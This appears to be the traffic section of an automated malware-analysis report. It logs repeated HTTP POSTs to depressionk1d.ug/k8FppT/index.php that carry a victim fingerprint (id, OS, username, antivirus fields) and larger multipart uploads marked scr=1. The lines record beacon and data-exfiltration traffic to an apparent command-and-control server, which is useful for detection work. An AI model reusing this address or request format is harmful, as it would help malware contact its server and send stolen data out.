Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef6c84ac469cc5c9e34c56f18531b7d7Host: depressionk1d.ugContent-Length: 108941Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ef6c84ac469cc5c9e34c56f18531b7d7Host: depressionk1d.ugContent-Length: 108941Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
